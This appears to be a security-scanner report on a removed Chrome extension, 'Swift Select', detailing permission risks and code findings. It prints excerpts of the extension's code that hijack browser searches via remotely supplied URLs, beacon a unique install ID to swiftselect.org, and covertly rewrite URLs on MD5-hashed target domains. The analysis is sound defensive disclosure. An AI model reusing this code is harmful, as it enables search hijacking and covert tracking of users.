Swift Select

ID: molponhobmbbinjnghgafbfampcgamln

Could be malicious

Supported Languages

πŸ‡ΊπŸ‡ΈEnglish
πŸ‡©πŸ‡ͺGerman

Extension Info & Metadata

Status
Removed
Version
1.1
Size
0.25 MB
Rating
3.8/5
Reviews
26
Users
349,587
Type
Extension
Updated
Feb 11, 2021
Category
38_search_tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
Stephan LehmannView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
349,587

This AddOn provides an easy way to access different search providers.

Most of us have a favourite search provider that we are all too happy to be able to access via the omnibox of our browser. However, what if, this one time you need to search for something specific that is more likely to be available somewhere else? For example, your standard settings are set to Google, but this one time, you are searching for a video, so better a search would be with YouTube. Normally, you would have to first go to the main domain of the provider and only then be able to look for your search phrase. Unless you would make a search with your main provider and click your way through, until you find relevant information. With Swift Select, you can skip those steps ahead and directly search with a provider that you want via omnibox. Just type 's' and press the space button, type your search phrase and choose a provider that will be shown to you in the suggestion list. It's that simple!

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
webRequestBlocking
Permission
Critical
This permission allows the extension to intercept, modify, or block any web request in real-time before it reaches its destination. Rated Critical because it can modify sensitive data (like passwords, credit cards) before encryption, redirect traffic to malicious sites, or block security updates.
Dangerous Permission Combination
Risk Factor
Critical
This extension can intercept, modify, and block web requests in real-time.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:β€’ 15% increase: Older manifest version lacks modern security controls
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

This code uses `webRequestBlocking` on `<all_urls>` to intercept search requests and rewrite them to a URL taken from the remotely supplied `main_selection.searchUrl`. That is a classic traffic hijacking pattern: the extension can divert user searches to alternate engines, affiliate endpoints, or tracking URLs without user-visible consent.

mainscript.js (Line 418)
chrome.webRequest.onBeforeRequest.addListener(function(details) {  var request_url = details.url;  if (!request_url.includes('http')) {    return {      cancel: false    };  }  if (request_url.includes(".google.") || request_url.includes(".bing.") || request_url.includes(".ecosia.")) {    if (request_url.includes("search") || request_url.includes("search?q")) {      if (request_url.includes("sourceid=chrome") || request_url.includes("FORM=CHROMN") || request_url.includes(          "addon=opensearch")) {        var text = get_text_from(request_url);        var redirect_url = main_selection.searchUrl;        redirect_url = redirect_url.replace('{SEARCH}', text);        redirect_url = redirect_url.replace('{SEARCH}', text);        return {          redirectUrl: redirect_url        }      }    }  }  return {    cancel: false  };}, {  urls: ["<all_urls>"]}, ["blocking"]);

The extension phones home on install to obtain a unique `count` identifier plus two server-supplied hashes, then immediately fetches provider configuration from `swiftselect.org`. This makes core behavior remotely controlled without a Chrome Web Store update and gives the operator a per-install identifier that can be reused for tracking or selective targeting.

mainscript.js (Line 240)
function get_selection_info() {  var url = "https://swiftselect.org/selection";  var parameters = {    count: global_count,    getselection: "swiftselect"  }  request(url, 'POST', uri_encode(parameters), save_selection);}function on_count_retrieved(resp_object) {  if (resp_object.h && resp_object.hash1 && resp_object.hash2) {    global_count = resp_object.h;    hash1 = resp_object.hash1;    hash2 = resp_object.hash2;    save_count(global_count, hash1, hash2);    welcome_new_user();    set_uninstall_url();    get_selection_info();  } else {}}function make_new_count() {  var get_parameters = "?make=swiftselect";  var init_url = "https://swiftselect.org/make";  request(init_url + get_parameters, "GET", "", on_count_retrieved);}

A daily beacon sends the unique install identifier back to the vendor, and a second daily job refreshes search-provider data from the remote server. Because `searchUrl` and `defaultUrl` are accepted from the network and written to local storage, the operator can silently repoint future searches to arbitrary destinations.

mainscript.js (Line 308)
function verify_inspection() {  var request_url = "https://swiftselect.org/sustain";  var verify = {    count: global_count  }  setTimeout(verify_inspection, 24 * 60 * 60 * 1000);  request(request_url, 'POST', uri_encode(verify), verify_callback);}setTimeout(verify_inspection, 24 * 60 * 60 * 1000);function upgrade_selection(response) {  if (response.default) {    var main = response.default;    if (main.name && main.defaultUrl && main.searchUrl) {      main_selection = response.default;      var store = {        main_selection: main_selection      }      chrome.storage.local.set(store);    }  }  if (response.providers) {    var selection = response.providers;    //check if all the parameters are set correctly    for (i in selection) {      if (selection[i].name && selection[i].defaultUrl && selection[i].searchUrl) {      } else {        return;      }    }    global_selection = response.providers;    var store = {      swift_selection: global_selection    }    chrome.storage.local.set(store);  }}function scan_for_new_selection() {  var request_url = "https://swiftselect.org/selection ";  var scan = {    count: global_count,    getselection: 'swiftselect'  }  setTimeout(scan_for_new_selection, 24 * 60 * 60 * 1000);  request(request_url, 'POST', uri_encode(scan), upgrade_selection);

The extension computes MD5 hashes of visited domains and, when they match two server-provided hashes, forcibly rewrites the tab URL by appending opaque fragments derived from the extension name and the current time. This is highly suspicious obfuscated behavior consistent with covert tagging, affiliate attribution, or user tracking on specific targeted domains.

mainscript.js (Line 511)
function check_hashes(url, tabId) {  if (url == old_url) {    return;  }  if (!url.includes(me)) {    old_url = url;    var domain = extract_domain_from_url(url);    domain = MD5(domain);    if (domain == hash1 || domain == hash2) {      var new_url = url + '#' + me;      var t = Math.floor(Date.now() / 600000);      var h1 = t * 600000;      var h2 = (t + 1) * 600000;      h1 = MD5(h1 + '') + '1';      h2 = MD5(h2 + '') + '2';      if (!url.includes(h1)) {        new_url = new_url + '#' + h1;      }      if (!url.includes(h2)) {        new_url = new_url + '#' + h2;      }      chrome.tabs.update(tabId, {        url: new_url      }, function() {});    }  } else {}}

The extension enumerates all open tabs on install, runs its hidden hash-checking routine against each tab, and redirects matching Web Store tabs to a vendor-controlled welcome page carrying a unique install ID and locale. It also sets an uninstall URL with the same identifier, allowing the operator to correlate installs and removals and measure individual user behavior.

mainscript.js (Line 164)
function welcome_new_user() {  var get_parameters = "?count=" + global_count + '&locale=' + chrome.i18n.getMessage("locale");  var welcome_url = "https://swiftselect.org/welcome/greeting.php";  var welcomed = false;  //check for active tabs, if there is a chrome store with this AddOn, update to welcome  chrome.tabs.query({    active: true  }, function(tabs) {    for (i in tabs) {      var url = tabs[i].url;      var tabId = tabs[i].id;      if (url.includes("chrome") && url.includes("/webstore/") && url.toLowerCase()        .includes("swift") && url.toLowerCase()        .includes("select")) {        chrome.tabs.update(tabId, {          url: welcome_url + get_parameters        }, function() {});        welcomed = true;      }    }    //if not successful, check for all tabs, if not welcome before and chrome store, then welcome    chrome.tabs.query({}, function(tabs) {      for (i in tabs) {        var url = tabs[i].url;        var tabId = tabs[i].id;        check_hashes(url, tabId);        if (!welcomed) {          if (url.includes("chrome") && url.includes("/webstore/") && url.toLowerCase()            .includes("swift") && url.toLowerCase()            .includes("select")) {            chrome.tabs.update(tabId, {              url: welcome_url + get_parameters            }, function() {});            welcomed = true;          }        }      }    });  });}function set_uninstall_url() {  var get_parameters = "?count=" + global_count + '&locale=' + chrome.i18n.getMessage("locale");  var uninstall_url = "https://swiftselect.org/feedback/feedback.php";  chrome.runtime.setUninstallURL(uninstall_url + get_parameters, function() {});}

By severity

Critical3
High5
Medium3
Low0

Versions scanned

Showing 2 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.15
1.06

Files with findings

1 distinct path β€” top paths by unique finding count:

  • mainscript.js11
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
mainscript.js (line 418)This code uses `webRequestBlocking` on `<all_urls>` to intercept search requests and rewrite them to a URL taken from the remotely supplied `main_selection.searchUrl`. That is a classic traffic hijacking pattern: the …
2Network Interception
critical
mainscript.js (line 386)The extension uses `webRequestBlocking` to intercept all Google, Bing, and Ecosia search requests originating from Chrome's omnibox and silently redirects them to `main_selection.searchUrl`, which is a URL fetched fro…
3Tracking
critical
mainscript.js (line 464)On every tab load, the extension hashes the visited domain with MD5 and compares it against `hash1`/`hash2` values received from the remote server at swiftselect.org/make. If a match is found, it silently rewrites the…
4Obfuscation
high
mainscript.js (line 511)The extension computes MD5 hashes of visited domains and, when they match two server-provided hashes, forcibly rewrites the tab URL by appending opaque fragments derived from the extension name and the current time. T…
5Other
high
mainscript.js (line 240)The extension phones home on install to obtain a unique `count` identifier plus two server-supplied hashes, then immediately fetches provider configuration from `swiftselect.org`. This makes core behavior remotely con…
6Remote Code Loading
high
mainscript.js (line 201)The search providers displayed to users and used for all search redirections are not bundled with the extension β€” they are fetched from the remote server and refreshed every 24 hours. The `searchUrl` field within each…
7Tracking
high
mainscript.js (line 308)A daily beacon sends the unique install identifier back to the vendor, and a second daily job refreshes search-provider data from the remote server. Because `searchUrl` and `defaultUrl` are accepted from the network a…
8Unauthorized Data Collection
high
mainscript.js (line 228)On first install the extension contacts swiftselect.org/make to register the installation and receives a persistent unique tracking ID (`h`) along with two MD5-hashed domain targets (`hash1`, `hash2`). The unique ID i…
9Obfuscation
medium
mainscript.js (line 72)The target domains for URL injection are delivered from the server as pre-computed MD5 hashes (`hash1`, `hash2`), deliberately obfuscating which websites are being targeted. This design prevents static analysis from r…
10Tracking
medium
mainscript.js (line 275)Every 24 hours the extension sends a POST beacon to swiftselect.org/sustain containing the user's persistent tracking ID (`global_count`). While the response callback `verify_callback` is empty in this version, this h…
11Unauthorized Data Collection
medium
mainscript.js (line 164)The extension enumerates all open tabs on install, runs its hidden hash-checking routine against each tab, and redirects matching Web Store tabs to a vendor-controlled welcome page carrying a unique install ID and loc…
URLs
6
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

swiftselect.org/welcome/greeting.phphttps://swiftselect.org/welcome/greeting.php
swiftselect.org/feedback/feedback.phphttps://swiftselect.org/feedback/feedback.php
swiftselect.org/selectionhttps://swiftselect.org/selection
swiftselect.org/makehttps://swiftselect.org/make
swiftselect.org/sustainhttps://swiftselect.org/sustain
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.